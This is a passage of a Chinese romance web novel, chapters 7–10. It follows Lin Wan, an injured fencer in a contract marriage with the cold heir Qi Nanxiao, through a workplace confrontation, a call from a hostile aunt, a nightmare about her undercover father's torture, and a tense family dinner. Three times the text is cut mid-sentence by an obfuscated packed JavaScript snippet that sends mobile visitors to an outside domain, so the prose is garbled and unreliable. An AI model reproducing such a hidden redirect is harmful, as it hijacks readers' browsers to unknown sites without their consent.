《野涩[先婚后爱]》 7. 第 7 章 训练馆走廊,林晚得到祁南骁的示意,在他几米远的地方等待。 另一边,祁南骁站在祁梦身前,一如既往面色淡淡:“为什么动手?” 祁梦早就没了之前的嚣张气焰,指间捻着衣摆:“她该死。” 祁南骁不动声色的盯着祁梦,面色平静得给人无法形容的压迫感:“我要的是解释。” 祁梦别开脸,眼里有泪倔强的道:“她骂我妈该死。我妈都被她们给逼死,那贱人还不肯放过她。” 眼泪顺着眼角滑落,祁梦忍都忍不住,说不出是憋气多一些还是委屈多一些。 祁南骁抽出口袋巾递给她,语气缓和了许多:“狗咬你一口,难道你还要咬回去吗?下次遇到这种事直接跟我说,我让人去处理。” 祁梦擦了眼泪,红着眼睛看着祁南骁说:“谁让那只狗总缠着我。” 祁南骁摸了摸祁梦的头,眼中带着心疼跟无奈,轻声说:“别哭了,我让人安排她们离开京市。你要是连你爸也不想见,我也可以让他也滚。” 祁梦忍不住委屈的泪崩:“凭什么我妈死了,他还能继续潇洒,还把私生女放我面前恶心我。他们还想弄死我,我就不死,要死也是他们先死。” 祁南骁无奈的道:“什么死不死的,你才多大。” 祁梦鼻子是堵的,说话的声音都憋在头顶上,嗡嗡的,像只气鼓鼓的萨摩耶:“我要被他们气死了。” 祁南骁敲敲祁梦的脑袋:“行了,鼻涕吃进嘴里了,下次把药带身上,别再让人给算计了。” 祁梦又气又哭,祁南骁始终维持着不变的语调和情绪安抚着。 这是林晚第一次看见祁南骁跟人开玩笑,很放松也很随意,他在祁梦面前就像一个可以为她披荆斩棘的长辈一样。 如此看来,祁南骁也并没有传说中那么十恶不赦。 发呆间,手机铃响,是周青山打来的,林晚拿起手机跟一旁的保镖打了个招呼后便找了个地方接。 结果刚好碰上前往训练馆的周青山,他看见林晚便挂了电话,他沉着脸直接走过来严肃道:“林晚,你跟我来。” 林晚收起手机,跟着周青山到休息室,他插着腰一脸痛彻心扉又语重心长的模样:“林晚,你知不知道那天晚上因为你的不懂事,现在李总把代言给撤回去了。你一个人的任性,导致我们整个团队损失了一个机会。” 突然被扣了个屎盆,林晚只觉得心底涌起一股恶寒。 周青山继续喋喋不休:“这里是国家队,不是你自己家。不是你想耍性子就能耍性子的地方。以前你爸还在任,全局上下都得给你爸三分面子,你想怎么做就怎么做。但人贵在要有自知之明,今非昔比了,现在你还以为你爸能帮你兜下所有事吗?” 这不是林晚第一次体会到人走茶凉,但还是被周青山给恶心到。她依然记得,几个月前周青山刚上任时对她那股殷勤劲儿,恨不得把她当亲生女儿。如今林国冬出事,周青山第一个变脸。这已经不是他第一次要她出去应酬了。 林晚放在腿上的手,悄无声息的紧握成拳,脸上却是面不改色,她刚要出声反驳,就听到身后熟悉的冰冷且充满嘲讽的声音响起:“按说能在总局里工作的人,混得都应该不错,怎么我今天一来就碰到了个兼职拉皮条的。” 用最淡的口吻说最犀利的话。 林晚背对着祁南骁,听见声音的那一刻她下意识抬眸就看见周青山那满脸惊讶又憋气的嘴脸,她顺着视线回头看去。 只见祁南骁慢条斯理走了进来,手里还夹着烟,唇角勾起赤果果的嘲讽。 林晚愣在原地,没想到祁南骁会过来替她说话。 周青山前一秒还因为听到的话而生气,后一秒看到来人又狗腿的跑前去献殷勤了:“祁先生,您好。” 祁南骁眼皮都没抬一下,一身黑色西装衬得他的五官更加冷硬,平添几分危险气息。 周青山扯着微笑,尬笑着出声:“不知祁先生有没有兴趣参观下我们击剑中心?” 祁南骁抽了口烟冷冰冰道:“没兴趣。” 周青山献殷勤的心不死,笑道:“那要不去我办公室喝杯茶?” 祁南骁脸色不是很好看,闻言忽然抬眸,一眨不眨的看着周青山,一脸正色道:“我看你是官位坐久了,耳朵也聋了,连人话都听不懂?” 此话一出,周青山脸上的表情可想而知的好看,笑,又笑不下去,但又不敢撂脸子,他也算是职场老油条了,平日里混迹各个场合,和各种领导、商人打交道,见过高傲的,没见过这么傲气的,一点脸面都不给人。 但他又不敢得罪祁南骁,毕竟那可是祁家,手眼通天,不是他一个小小主任能得罪得起的。 场面一度尴尬,林晚不出声,乐得看周青山吃瘪。周青山不高兴,她就高兴,要不是顾忌着场合不对,她高低得笑出声。 祁南骁幽深的目光从周青山身上移开,落在林晚那张幸灾乐祸的脸上,他收敛了神色,开口道:“走了。” 说完,他先动身往外走,林晚在周青山惊讶又愤怒的眼神下直接转身。周青山半个字都不敢多说,还得恭恭敬敬的将人送到电梯口,脸上的笑容要多热情有多热情。 电梯里,林晚坐着轮椅,祁南骁站在她身旁。银色金属的电梯门映着两人的模样。林晚抿着唇,悄悄掐着自己的大腿,不让自己的表情失态。 祁南骁忽然说了句:“再掐下去,伤没好又得添新伤。” 林晚一怔,轻轻眨了下眼,透过镜面般的电梯门看向祁南骁,刚好他也看着电梯门里的自己。四目相对,林晚先避开他的眼神:“谢谢。” 祁南骁忽然低声开口道:“该道谢的人是我。我侄女的事,谢谢。” 林晚有些惊诧,以至于一时竟忘了表情管理。她没想到祁南骁这样的人也会跟人道谢。 祁南骁似乎是看穿了她的心思,眼底透着无语,他又不是黑/she/会。 林晚眨了眨眼,暗自掂量祁南骁这句道谢的含金量,片刻后回过神,她眼明清澈道:“不客气,这种事换谁来都会出手帮助的。” 祁南骁神色如常,声音平静如水:“有什么条件?” 林晚侧头看向祁南骁,心里猜不出他为何突然对她这么好,又是替她出头,又是给她道谢,还要满足她的愿望,洛梵常说的小说里的霸总都没他贴心。 祁南骁看都不看林晚,口吻似几分轻嘲:“想太多,我对你没兴趣。一码归一码,你帮了祁梦,我还你人情。” 林晚回神儿,很快道:“谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359095|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢,不用客气。” 电梯门打开,祁南骁等林晚先出去,他才迈步紧随其后:“我不喜欢欠别人的。” 林晚:“....”果然,他还是本性难移,一如既往的霸道,就连还人情都要强买强卖。 林晚思忖片刻才出声道:“我想见我爸。” 换之前,她是不会跟祁南骁提这样的要求。祁南骁被逼着和她结婚已经够讨厌她的了,她再让他帮这个忙,多少有点不识趣。 但现在不一样了,他自己都承认欠她一个人情,那就公平交易。 林晚说完心里也很没底,她想见林国冬,很想很想,可也怕祁南骁讨厌林国冬,不愿意帮她这个忙。 祁南骁面无表情,让人捉摸不透他的心情,沉默了数秒后,他开口回道:“我试试。” 他没有直接答应,反倒是给了林晚更多的希望。他这种地位的人轻易不会许诺,说试试就肯定会尽力而为。不管结局如何,只要有希望她就会去尝试。 林晚内心激动,面上努力克制着,嘴唇张了半天只剩下两个字:“谢谢。” 祁南骁淡淡的道:“你去哪?我让人送你。” 林晚下意识想拒绝,余光看见祁南骁的迈巴赫后面还有几辆车,顿了顿道:“云锦书院。” 祁南骁看了眼保镖,保镖点头示意。 林晚忽然道:“对了,刚刚祁爷爷打电话给我了。” 祁南骁脚步一顿,回头,幽深的眸子盯着她。四目相对,他脑海里早已将林晚的说这话的动机思考了一遍。 上一秒,提出要见她爸的要求。他没有直接答应,下一秒,她就说这话。她是想拿老爷子出来当靠山压他? 林国冬的事牵扯很大,上头很重视,就是他们祁家也只能做到保住林晚,掺和不进去,这也是老爷子跟林国冬之前约定好的,保林晚平安无事。 祁南骁同意结婚是因为老爷子一把年纪了难得求他,他不想为了这事伤了老爷子。 一个女人娶了就娶了,娶回来不喜欢放着就是了。但并不代表他不讨厌麻烦,尤其是事多还得寸进尺的女人。 所有的念想都是刹那之间闪过的,祁南骁不动声色的开口:“找你什么事?” 林晚并没有注意到祁南骁的神情变化,她秉持着诚实的原则,直白道:“他跟我说了夜店照片是个误会,还让我有时间探望他老人家。” 祁南骁闻言,看着林晚,神色晦暗不明的道:“知道了。我会安排,你等我消息就行。” 说完,他似乎是想到什么,拿出手机打开,创建联系人,输入林晚的名字,然后把手机递给林晚:“手机号码填一下。” 林晚点头应声,把号码输入进去后还他手机。 交换间,祁南骁的手不小心碰到她,他的手很好看,骨结分明修长干净,净白的皮肤下隐约可见淡淡的青筋,很烫。 祁南骁似是条件反射,立即撤回手,眉头紧簇。 林晚:“.....”她是什么脏东西吗?这么敏感,他想碰,她还不想碰他呢! 祁南骁收起手机头也不回直接上车,临上车前,他看了眼保镖。 保镖点头亲自过来把林晚送上路虎,亲自开车送她回家,到达目的地后,还很称职的把她送进家门。 8. 第 8 章 林晚刚一回到家,一只金色边牧飞快的从卧室跑了出来,冲到她身上,一直蹭着她的脸。 “豆包。” 豆包是林国冬养的狗,林晚外出比赛训练时,只有它陪着林国冬。 林国冬出事后,就把它放在宠物店寄养一段时间,直到林晚回来,才把它接回家。 豆包嗅了嗅林晚的膝盖,一边焦急的看着她,爪子轻轻的抚摸她的膝盖。 “豆包,姐姐没事。今天有个好消息,姐姐有机会可以去见爸爸了。对不起啊,不能带你去。爸爸他现在还在医院,不能回来陪你玩了。” 说着,眼泪不知何时默默流下,空荡荡的房子里,林晚立马深吸一口气,自言自语道:“没关系,爸爸迟早会醒过来的。” 豆包的头乖乖的趴在林晚的腿上,像是感受到她的情绪,默默陪伴她。林晚告诉自己,不要哭,林国冬只是昏迷了,他迟早有一天还会醒过来的。 只要人还在,一切都来得及。。 一人一犬抱着躺在沙发上依依相惜,林晚呆愣愣的盯着客厅墙上挂着的银牌。那是她第一次参加全国级大赛拿到的奖牌,当时林国冬跟何俪都很激动,两夫妻商量着在家里另外装修个房间专门放林晚的奖牌。 当时她还说自己混到90岁都拿不到一屋子的奖牌。后来何俪病世了,林国冬也没有大动干戈空出个房间,倒是把客厅墙壁给收拾出来专门挂她的奖牌了。 想到击剑,脑海中难免浮现祁南骁的面孔,他像一个温和的长辈替晚辈遮风挡雨。一下、又一下的安慰着祁梦... 曾经,她也像祁梦一样,有家人疼有家人爱,她的生父、养父母对她都很好。可是这些人都离她而去了。 今晚有些心力交瘁,林晚躺下后不久就睡着了。她做了个梦,梦见儿时过年,生父林栋把她扛在脖子上,一陈刺骨的风吹得她帽子上的小猫耳朵动来动去。 林栋生怕她栋着,要把她抱怀里,她不肯。林栋就哄她,说给她买糖葫芦。 老家的糖葫芦很好吃,吃一颗在嘴里嘎嘣脆,由甜变酸,就是山楂的籽有点多。 林栋平日里工作很忙,但每次回家都会给她带好吃的。后来,他渐渐的很少回家,最后连人都见不到了。她想不明白,就去问她妈,她妈总是很敷衍的告诉她:“死外边了呗。” 直到有一天,突然有几个一身正气的人抱着个盖了国旗的盒子到她家。其中一人就是林国冬,他抱着已经吓傻的林晚,温柔且耐心的哄着她。 他告诉她,林栋是个英雄,英雄为了保护我们去了另外一个世界。 很久很久以后,林晚才知道林栋死了。他潜伏在一个贩毒集团里当卧底,在即将完成任务时,身份暴露,遭到犯罪分子的报复。 死前被犯罪集团活活折磨了三十多个小时。 那是边境最大的贩毒集团,林栋在那里卧底了三年,和警方里应外合成功捣毁了这个嚣张的贩毒集团。 画面一转,林晚看到林栋模糊不清的脸,他被锁在地下室里。那些人拿烙铁烫他的身体,用锤子一寸一寸敲他的膝盖骨,在他快丧失意识时,在伤口上撒双氧水,反复折磨他。 林晚目睹了整个过程,恐惧让梦里的她都感到窒息,她很想冲上去,救下林栋,可身体压根动弹不得,她张大嘴巴想要呼救求救,却发现自己只能无声流泪。 渐渐的,林晚睁开眼睛,有那么几秒的恍惚,仿佛还陷在梦魇里,脸上湿漉漉的有些痒,抬手一摸,竟然是泪。豆包感受到她的情绪不稳,温和的蹭着她的脸。 林晚抱住豆包,将脸埋在它的肚子里。很累,她已经很久不做这样的梦了,可梦完,还是会身心疲惫。 下午一点半,林晚起来洗了个脸,给自己做了饭顺便给豆包也做了顿饭。她刚坐下,手机响起,屏幕上没有显示备注。 林晚狐疑接起:“喂?” 赵春莲的声音顺着电流声传来,语气很不客气:“林晚,你爸贪污跳楼的事为什么不早点告诉我们?” “你知不知道今天有人来老家调查,我们全家丢人丢大了。” “你跟你爸在京市吃香的喝辣的,一点好处都不给我们。出了事就要找我们调查。我们招谁惹谁了,老老实实当老百姓还要被你们父女俩甩一身屎。” “之前让你爸给阿震安排个工作,你爸还冠冕堂皇的拒绝。我还以为他有多正直呢,结果不还是贪污国家公款了?这都是报应。” 林晚死死的握着手机,屏幕照亮的脸上,白的近乎恐怖。 赵春莲是林国冬的大嫂,也是她的大伯母。 赵春莲继续咄咄逼人:“当初你爸要收养你的时候,村里的算命先生就说过,你命硬专克人。现在你爸都被你差点克死。你怎么还有脸留在我们林家?我要是你,我早就离开了。你爸有今天全是因为你。” 林晚冷声回道:“我要是真命硬,第一个克死的就是你。” 她一句话就顶到赵春莲的气门上,赵春莲当即怒骂道:“你什么意思,你敢跟我叫板?” 林晚嗤笑一声:“我不但可以跟你叫板,我还可以给你钉上棺材板。” 赵春莲本是想逼得林晚内疚,谁料林晚不急不燥,反而一个个的耳光扇回来,她快要气炸了:“你爸就是这样教你跟长辈说话的?我们林家没有你这样的逆子,你信不信我让林家族谱把你给除名?让你滚出林家?” 当初害死林栋的凶手还有逃亡在外的,林晚至今都不能光明正大和林栋相认,户口只能落在林国冬这边。 林晚嗤笑一声,清脆的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359096|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音里满是嘲讽:“原来是打上我爸家产的主意了。你以为把我逼走,你们就能拿到我爸的家产?做梦,只要我还活着,你们休想碰我爸的东西。你们林家的族谱,求我上我都不上。” “反了反了。” 林晚不顾电话那头的声嘶力竭,二话不说直接挂断电话。林国冬在林家排行老二,上头有大哥,下面还有三个弟弟。 他自小就不被家里重视,闹饥荒的时候更是被家里直接丢掉。若不是老家村长看不过去把他接过去养,林国冬早就饿死了。 自那以后,林国冬也不愿意回老林家,村长便利用自己的职位关系将林国冬的户口迁到自己名下,把他当亲儿子对待,供他读书。 后来林国冬考上军校,逐渐有了出息。老林家又闹腾着要认回林国冬。 林国冬不愿意,老林家便记恨上他。林晚的生父曾经是林国冬的战友,光荣牺牲后,林国冬就一直义务的照顾她和她亲生母亲。 她妈带着她改嫁,在那个家里,林晚度过一段暗无天日的日子,是林国冬把她给救出来的。在她心里,林国冬和她生父一样重要。 那些伤害过他的人,她都不会原谅,更不会让他们拿走林国冬的东西。 桌上的手机再次响起,林晚看着那串熟悉的号码,她强忍着心里的怒火再次接通:“我警告你赵春莲,你要是再不依不饶,我不介意提前帮你预定火葬场。” 祁南骁刚一打通对面的电话,就听到对面毫不客气的声音,无端被人咒骂,他也莫名恼火。把手机拿面前一看,屏幕上的确显示的是林晚的号码。 他绷着脸,冷冷出声:“你什么意思?” 淡漠中透着危险的声音从手机中传来,就像一盆冷水泼在林晚的头上,让人瞬间全身发凉。她再次看了眼手机号码,这才发现祁南骁的号码跟赵春莲的很像,她居然把祁南骁认成了赵春莲。 “....” 这真让人窒息。 一时间,周遭的空气仿佛被瞬间抽干了似的,林晚只能硬着头皮,好声好气解释:“抱歉祁先生,我错把您的号码给认错了。”但只有她自己心里清楚,此时她慌的一匹。 祁南骁冷声嘲讽:“怎么,那位要去火葬场的人也跟我同名同姓吗?” 林晚脸上笑容一僵,明明只是声音却也给她带去压迫感,她只能硬着头皮道歉:“对不起,我向您道歉,以后不会再有这种情况发生了。” 她不敢承认自己都现在都还没把祁南骁的名字给备注上。 祁南骁不为所动,懒得揭穿她的谎言,冷声道:“晚上六点,我过去接你到祁家吃饭。” 林晚点头应声道:“好的。” 他那头二话不说直接挂断,林晚这才把憋着的气轻轻呼出,差点就骂他去死了。 9. 第 9 章 当天下午五点,林晚就开始选衣服,她特意选了件鹅黄色长裙,化了个淡雅的妆容,显得整个人活泼中不失优雅。 她将准备好的茶叶等礼物提好,提前下到小区楼下等着,差一分钟六点,一辆黑色迈巴赫缓缓降速停下。林晚本以为会有司机下来帮她,结果没想到下来的居然是祁南骁。 率先映入眼帘的是黑色衬衫,领口处的扣子自然松散,露出象征男性特征的明显喉咙,再往上看,是棱角分明却又奇异柔和下颌线。 他穿着一身黑色,衬衫是圆低领的样式,偏休闲风,唯有手腕处露出的腕表是咖啡色。 不得不承认,他是她见过的穿黑色系里,最有气质的男人。越是纯色越难搭配,越是挑人,尤其是黑色,穿不好就像街头卖保险的,穿得好就是行走的衣架子。 祁南骁身材很好,接近1米9的身高,肩宽腿长,周身都是权贵堆积的气势,沉魅矜贵,平添几分危险气息。就好似现在,他不动声色的站在这儿,都能给人无法形容的压迫感。 “祁先生,下午好。”林晚礼貌的打了个招呼。 祁南骁不咸不淡的回了句:“嗯。” 林晚扯了扯嘴角,果然两人磁场不合,面对面都无话可说。她缓缓起身正要把手上的礼品放到后备箱去,就看见祁南骁把她手里的东西接了过去,直接放后座去。 然后转头把她的轮椅也叠起扔后备箱,林晚有些受宠若惊,怎敢让那双戴着几千万手表的手替她干活。 祁南骁却只是淡淡说了句:“上车。” “好的。”林晚自然的打开后车门,刚要上去,就听见祁南骁冷声开口:“你拿我当司机吗?” 林晚脚步一顿,撇了撇嘴:“抱歉。” 她哪知道,他的副驾驶她能不能坐,万一有小女朋友介意,她不就撞枪口上了。虽然他们俩是法律意义上的夫妻,但本质上,他们俩还是个见没几次面的陌生人。 不过,既然人家都开口了,她也不能不坐前去。 想到这,林晚几步单脚跳到副驾打开车门坐了进去,系好安全带。 车内静谧无比,这是她和祁南骁在第二次在如此密闭的环境里单独相处。 她知道祁南骁这人不好聊,况且两人也没什么好聊的,便自顾自的玩起开心消消乐打发时间。 车外骄阳似火,车内开着二十二度的冷气,林晚这几天刚好例假,身体比平时更畏寒,坐在这里冷得她想打喷嚏。 余光瞥见祁南骁一身黑色衬衫西裤面无表情开着车,冷俊的面孔在落日余晖下映衬得并不清晰,模糊得让人没有安全感。 这片区是市金融中心,高楼如林,车流如织,天光渐昏,楼宇交错出的空隙像一个个不规则的取景框,各种色泽的夕阳洒下,把城市披上一层混彩滤镜。 正是下班高峰期,车子走两步堵一下。林晚偷偷打量祁南骁的神色,瞥见他抿着好看的唇瓣,依旧是不辨喜怒,甚至还点了根烟抽了口,修长的手指夹着烟头,伸出车窗散烟。 等道路再次通畅,他转头就把烟掐灭在烟灰缸里,继续开车。 林晚暗道,圈内都说他飞扬跋扈、脾气不好,她以为他的脾气会很没耐心,没想到一点儿都不路怒,传言也不一定就是真的。 车子一路朝着城西开去,直到拐弯进了条胡同,停在四合院门口,他们都没说过一个字。 下车的时候有保镖上前开车门,贴心的将轮椅放好扶她坐下。 祁南骁锁车,迈步往前走,本是无意识等她,余光瞥见她直勾勾的盯着他家的保镖,他用淡漠且锐利的目光看了过去。 林晚看着眼前的台阶,眉心微蹙,心中暗想着早知道就不坐轮椅带拐杖了,她看向保镖希望他能有眼色过来帮她一把。 显然保镖是没有这个眼色的,就算有也得没有。 祁南骁脚步一顿,似是不满她在这个时候宁愿求助保镖也不愿尝试找他,他是什么洪水猛兽吗? 抬脚走过去,祁南骁冷声开口:“起来。” 林晚一阵无语,她没东西扶怎么起,难不成抱着他的腰起啊! 祁南骁见她没动作,眉头一蹙,声音冷淡又饱含嘲讽:“怎么?你还想让保镖抱你进去?” 林晚不明白他这突如其来的嘲讽是闹哪出,扶着祁南骁?想到她之前只是碰了下他的手指,他都那么大的反应。 但让保镖来抱她是不可能的,毕竟这是祁家老宅,到处都是人。 一番权衡利弊后,林晚还是决定摸着祁南骁的手臂站起身。 祁南骁在她搭上来的那一刻,下意识眉头紧蹙,两人挨得那么近,近到他低头就能感受到她身上的体温带着一股清淡的香,像是洗发水又像是香水,陌生,却出奇的不惹人讨厌。 停顿三秒后,祁南骁若无其事,两人并肩往台阶走,跨过高门槛前,林晚顿住脚步,刚想扶着门框慢悠悠跨过去。 身旁的祁南骁忽然揽上她的腰,直接单手将她抱起腾空,她下意识蜷缩小腿,就这么被他拎着着跨过了... 保镖紧随其后把轮椅送了过去,林晚余惊未退坐了回去,刚刚那股突如其来的力道掐着她的腰,到现在她的腰上都好像还残留着滚烫的印迹一样。 祁南骁不动声色收回手,无意识的摩挲着指间,第一个念头就是,她的腰怎么这么软?第二个念头是,她是不是故意的? 所有的念头都在怀疑她是不是玩什么花招,以祁南骁的脾气,他应该冷眼看她或者把她丢给保镖,远远甩开管她要干什么,可事实是... 他并不排斥和她身体接触,甚至连她身上的香味都不讨厌。 不过很快,祁南骁便把自己这种不同寻常的举动归结于他乐于助人,帮助林晚这个‘残疾人’身上。 —— 一路经过宽敞的院子,两人直奔正中主屋,这还是林晚第一次来祁家老宅,以往林国冬都是带她去疗养院间祁老爷子,以前只听说过祁家的富是富贵的富。 亲眼见到后才明白什么叫真正的中式权贵。不仅富更多少的是贵,别的不说,光是她一路看下来那些古董装饰品随便单拎出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14359097|152858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一个都是价值连城,放眼望去沧浪亭的环廊抱园,大片的人工湖,堂楼亭轩,湖中怪石兀立,水里游荡着各色金鱼鲤鱼穿梭其中。 林晚跟着祁南骁进了主屋,一个两鬓斑白却腰杆笔直的老爷子站在门口迎接,先是跟祁南骁打招呼,随和朝着林晚颔首:“您好,少夫人,我叫钟霖,是老宅的管家。” 听到这声‘少夫人’,林晚还是浑身如电流穿过般难以适应,半晌她回神儿,笑着说:“您好,我是林晚。” 祁南骁换了鞋自顾自往里走,钟霖负责接待林晚紧随其后:“家里人都喊我钟叔,不介意的话您也可以这么叫。” 钟叔很贴心的站在她身后给她推轮椅,还给她介绍老宅的人际关系,一路向内而去,不断有佣人欠身示意。 这种刻进骨子里的中式庄重,让林晚感到前所未有的压力,她垂在腿上的手悄悄紧握。待到步入正厅,黄花梨沙发上坐着的人见到祁南骁更是纷纷起身,颔首招呼。 祁南骁走到坐在主位上两鬓斑白的老人前,低声唤了句:“爷爷。” 祁占山今年已经八十九岁了,再怎么保养也都是个耄耋之年的老人了,一双深陷的眼睛缓缓抬起,看到林晚的那一刻眼里含着笑:“小晚来了啊。” 这个时候林晚就算是膝盖不方便也得起身朝老人家打个招呼:“爷爷。” 祁占山拉着她的手让她坐在他身边,关心的话娓娓道来:“膝盖怎么样?” 林晚恭恭敬敬回道:“好多了。” 祁占山拍了拍她的手,声音凛冽厚重:“要好好养伤。” 年轻时的祁占山也是一代枭雄,有着各种传说,最著名的当数他运筹帷幄,收购外资矿产的事迹,那时候的他在香江、澳门、新加坡、印尼等多地布局,遇到当地hei帮,更是什么手段都用过,大刀阔斧不择手段。 祁家的坏名声也因此而来。简直要把他说成是当年沾满鲜血的阎王,但林国冬跟她说过,祁家其实是为上面筹谋。 当年外国势力想要弄死祁占山,买通了祁家人想要对祁占山下手,关键时刻林国冬替祁占山挡了刀子。 事后有人模拟过当时歹徒的身高还有力气,是奔着祁占山心脏刺去的,若不是林国冬替他挡了一下,当时的祁占山必死无疑。 时过境迁,曾经叱咤风云的枭雄早已暮年。此时的祁占山宽和、淡泊,身上那种锐意进取与和蔼可亲充分融合,发酵而成特殊的气质,让人亲近又仰慕。 “这是小晚,是南骁的妻子,嫁来我们祁家,就是我们祁家的人。你们在外面也要好好照顾她。”祁占山亲自给林晚站台,祁家人不敢不重视。 林晚挨个认人,收下见面礼,原本忐忑紧张的心在此刻安定了不少。视线在一众人中扫过,最后定格在中途进来的中年美妇人脸上,她的五官和祁南骁有四五分的相似。 林晚对她很好奇,忍不住多看了几眼。 无它,实在是这位阿姨看她的眼神太过于犀利了,眼中含着赤果果的不屑和嫌弃,可以说是直接给林晚甩脸色了。 10. 第 10 章(加字数) 在钟叔的介绍下,林晚才知道,这位美妇人就是祁南骁的亲妈文燕莉。也就是她名义上的‘婆婆’。 自古婆媳难相处,林晚一直以为只是夸张了。如今自己碰上了,还没开始接触,她就感受到了对方的不善。 不过,这事林晚并没有放心上,从祁占山对文燕莉的态度上来看,也能看出,他并不喜欢文燕莉。 祁家男多女少,祁占山也不能一直陪着她说话。 林晚是个心思细腻的人,这种情况下,他宁愿叫祁梦出来接待她,也不愿让文燕莉接触她。 可见,连祁占山都没有想让她和文燕莉接触的意思。 要么祁占山不待见文燕莉,要么祁占山不待见她,前后分析一遍,林晚心里有了数,余光恰好看到祁南骁,发现他始终垂着视线,靠坐在沙发上,手里夹着别人发的烟,并未点燃。沉默寡言的同时也会细心的照顾祁占山。 对于文燕莉的出现他更是连个眼神都没给。 聚会解散后,林晚被推到后院的人工湖边。 远远的就看见沧浪亭下,祁梦穿着白色T桖和灰色居家裤窝在椅子上撸猫。 虽然脸上无精打采,但还能看得她的五官很清秀,依稀能看出和祁南骁有几分相似,都是一副傲慢跟跋扈的样子。 祁梦本来在后院遛猫的,被突然下了任务,心里很是烦躁。 见到林晚走近,她就想起上次在训练馆的事,虽然对林晚没什么好感,但她好歹是救了自己的人,最终也没有刻意为难她:“就是你逼我四叔娶你的?” 林晚面不改色的点了点头:“嗯,是我。” 祁梦目不转睛的看着她,沉着脸:“你凭什么逼我四叔?” 林晚视若无睹,不辩喜怒道:“这个问题你可以问问你四叔。” 没能得到想要的回答,祁梦眉头一蹙,心中很不爽。 林晚见状,温声道:“我们对彼此的了解并不多,难免会有刻板印象。我对你们祁家并没有什么恶意。有些事,也许等我们相互了解后就可以找到答案。在此之前,我觉得我们可以试着和平相处,你觉得呢?” 好赖都让她说了,祁梦撇了撇嘴,其实她并不是很喜欢林晚,奈何她救过她,她再怎么不喜欢也不能忘恩负义,看了林晚几秒,她才道。 “你是为了什么接近我四叔的,我管不着。但你若是对我四叔别有用心,对我们祁家有什么小心思,我肯定不会放过你。” 林晚背着光,湖面波光粼粼在她身上闪烁,她不急不缓的道:“当然,换做是我,我也会和你一样保护家人。” 祁梦一哽,看了林晚几秒,直言不讳道:“你不用奉承我,我并不喜欢你。”顿了下,她忽然别开视线:“还有,上次的事,多谢了。” 十三岁的小孩,已经有明辩事非的能力,知道一码事归一码,而且祁梦被祁家养的性格直爽,有话直说总好过心思深沉。 林晚轻勾嘴角:“不客气。” 祁梦似是有些意外,抬眸看着她,意外她居然没有当面对她说教。其实她本人是有意识到自己当时的举动过于极端了,只是拉不下面子来承认错误。她还以为林晚会趁机教训她,又或是拿捏她,没想到林晚会不管不问。 “你不觉得我做事狠毒?” 林晚是个敏锐的人,她也经历过祁梦这个年纪的叛逆。很快就从她的话里分析出她的心理活动。 祁梦是个很有家教的孩子,她也知道自己做事冲动了,只不过因为涉及她母亲的问题,她还是很别扭。 沉默片刻,林晚软下口吻回道:“每个人心中都有根不能碰的底线,是她的魂,就像炸弹的引线,点了就着。人这辈子不能总按大道理活着,就算是克己复礼也不能是建立在踩着自己的底线上。在法律允许范围内,尽可能的不委屈自己就好。” 祁梦亮晶晶的目光盯着她,半晌才不冷不热的回道:“你不用故意讨好我,没用。” 林晚没说话,静静的看着湖面。 有佣人过来提醒吃饭了,林晚点头。 祁梦起身,忽然说了句:“不要以为太爷爷认可你,你就可以在祁家无所顾忌了。四奶奶可不是一个省油的灯。” 林晚顿了下,忽然觉得很好笑....祁梦也挺口是心非的,嘴毒起来的跟祁南骁简直一模一样。 因为祁梦的提醒,让林晚多了几分注意力在文燕莉身上。 文燕莉一身修身旗袍,妆容精致,养尊处优惯了,皮肤保养的很好,所以看起来分外漂亮。她看向林晚的眼神里总是带着凌厉和审视。 饭桌上选座位时,林晚碰到她,不得不打声招呼:“阿姨。” 文燕莉头都懒得偏一下,捋了下裙摆坐在林晚身旁,忽然唇角一勾道:“怎么叫阿姨,是我没给你改口费?还是南骁没教你认我这个妈?” 祁南骁经过的时候,正巧听到文燕莉说这句话,他顿了顿脚步,看向林晚,只见她漂亮的脸上带着柔和的笑容,眼都不眨一下的回道:“南骁跟我提过您,是我第一天上门太过紧张了叫错了。” 文燕莉没接话,脸色说不上好看,林晚张了张嘴,刚想逼自己叫声‘妈’,就被身后的人推开,林晚咻的下回头。 祁南骁正推着她的轮椅把她安排在祁老爷子身旁坐下:“你坐这。”紧接着他顺势坐在她身旁。 林晚有些意外,在文燕莉和她面前,他会出手帮她解围。 文燕莉气得眼里恨不得冒火,祁占山一个清咳,她才收回视线心如嚼蜡般哽噎。 林晚秉持着多一事不如少一事的原则,全程眼观鼻,鼻观心,专心吃她的饭。 